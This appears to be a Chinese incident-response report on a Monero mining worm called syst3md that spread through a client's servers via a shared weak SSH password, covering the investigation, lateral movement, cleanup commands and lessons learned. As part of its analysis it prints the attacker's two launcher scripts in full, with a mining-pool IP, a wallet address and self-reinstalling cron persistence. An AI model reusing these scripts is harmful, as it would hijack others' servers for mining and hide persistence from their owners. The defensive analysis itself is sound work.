xmirg挖矿病毒应急事件
一、起因
客户发现一台高性能服务器变得非常卡,查看后发现一个名为syst3md
的进程跑满了系统资源,第二天的时候,发现另一台服务器同样跑着一个syst3md
进程。
二、应急过程
查找病毒
- 先使用
history
查看历史操作记录,发现历史命令没问题,但是在某段时间执行了set +o history
隐藏了操作记录。 - 使用
export HISTTIMEFORMAT='%F %T '
显示历史记录的时间,判断出大约什么时候执行该命令。
(没有截图,用网图做例子)
- 查看
/var/log/secure
、/var/log/btmp
、/var/log/lastlog
,发现这三个文件都提示不存在,已经被人手动删除。 - 查看可以登录系统的用户:
cat /etc/passwd | grep -v /sbin/nologin | cut -d : -f 1
,发现存在一个名字为x
的用户,询问客户以后判定该账户为攻击者创建。 - 查看计划任务:crontab -l,列出了一个异常路径:
/var/tmp/.../
- 查看目录下有三个文件:
1、run、syst3md
- 查看文件内容
1:
#!/bin/bash #made by Maz4id#1363 locatie=$(cat /var/tmp/.SQL1/.local) if ! pgrep -x syst3md >/dev/null; then $locatie/./syst3md -o 52.77.129.137:443 -u 45ddrgT29vNJ1UZTVkgZDHGJdZyEpYye92SgdaV2G2di6xgRXCcFwUFLFkn3EoyDWSKkj9nkE5ogYGpVrAy8j19qRCoPNb3 --donate-level 1 -p micro40 > /dev/null 2>&1 & disown $* else : fi
run:
#!/bin/bash #made by Maz4id#1363 if [ $# != 1 ]; then echo " usage: $0 > /dev/null 2>&1 & disown" fi locatie=$(cat /var/tmp/.SQL1/.local) if [ -f /var/tmp/.SQL1/.local ]; then : else if [ -d /var/tmp/.SQL1 ]; then echo $(pwd) > /var/tmp/.SQL1/.local else mkdir /var/tmp/.SQL1 echo $(pwd) > /var/tmp/.SQL1/.local fi fi crontabcalumea() { if ! crontab -l | grep -q 'run'; then rm -rf $(cat /var/tmp/.SQL1/.local)/.tempo echo "@daily $(cat /var/tmp/.SQL1/.local)/1" >> $(cat /var/tmp/.SQL1/.local)/.tempo sleep 1 echo "@reboot $(cat /var/tmp/.SQL1/.local)/run > /dev/null 2>&1 & disown" >> $(cat /var/tmp/.SQL1/.local)/.tempo sleep 1 echo "@monthly $(cat /var/tmp/.SQL1/.local)/run > /dev/null 2>&1 & disown" >> $(cat /var/tmp/.SQL1/.local)/.tempo sleep 1 crontab $(cat /var/tmp/.SQL1/.local)/.tempo sleep 1 rm -rf $(cat /var/tmp/.SQL1/.local)/.tempo fi } sleep 5 while : do $(cat /var/tmp/.SQL1/.local)/1 crontabcalumea sleep 5 done
syst3md为病毒文件,其中存在大量乱码影响阅读
- 查看这三个文件的创建日期,发现与隐藏命令的日期相差不久,基本确认攻击者操作时间。
- 尝试删除文件,只能删除掉病毒文件,两个启动项还是会出现,需要先关闭启动项进程再删除。
是否横向
- 防火墙查看事件,未发现外连、爆破等行为
- IPS上发现大量被阻断的挖矿告警,找一台与之前主机同一C段的主机B登录,查看日志发现已沦陷主机在进行登录,都是登录失败,且时间间隔极短,一秒内多次登录失败,判断此时在进行弱口令扫描。
- 查看
history
,发现攻击者执行wget命令下载病毒文件,然后运行run、syst3md - 再登录一台主机C查看,历史命令与主机B一样,主机B与主机C的ssh密码均为弱口令。
- 询问运维人员得到结果,有几十到两百台不等的主机,都在使用同一个弱口令。由于告警机器过多,无法判断具体有多少主机沦陷,保守估计一百五十台。
溯源
- 登录多台主机,查看
history
后,发现都是主机A在进行爆破,或者从主机A直接发起登录请求,判断攻击者从该主机进入内网。 - 看攻击者怎么进入内网。安全设备近期刚部署,部署以后就存在挖矿告警,可以得出病毒存在时间较久。
第一次攻击:攻击者潜藏在网络中最少一个月时间,最早在2月份安全设备部署时就有多个主机存在挖矿告警,于此时攻击者获得了进入内网的方法与一部分主机的通用密码,并传播挖矿病毒
第二次攻击:于3月份进入主机A,上传挖矿木马(门罗币)+建立自启动任务,主机A上无面向互联网的服务,判断攻击者通过VPN账号登录进入内网,由于知道主机A密码的人数众多,无法判断怎么泄露的。(不排除内鬼)
三、处置方法
- 删除木马:查看root用户计划任务
cat /var/spool/cron/root
,或者crontab -l
,在计划任务出现的路径下会存在三个文件:1、run、syst3md,将这三个文件删除:sudo rm -rf 1 run syst3md
- 杀掉syst3md、与/bin/bash ./run进程;
killall -9 syst3md
、killall -9 /bin/bash ./run
- 删除计划任务:
sudo crontab -r
。删除计划任务后等待半分钟再使用crontab -l
查看,如果计划任务重新出现,或第二步未能关掉自启动进程,建议删除计划任务的同时重启crontab -r&&shutdown -r now
- 修改全部主机密码,禁止使用弱口令
恶意进程示例:
四、总结
- 严禁使用弱口令,不允许多个内网主机使用同一密码。
- 安全设备上架后要有人看,设备告警一个月都没人管,也就是黑客不知道账号,不然他给防火墙关了都没人知道。
参考链接:
https://zhuanlan.zhihu.com/p/429566291
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录
请登录/注册后在FreeBuf发布内容哦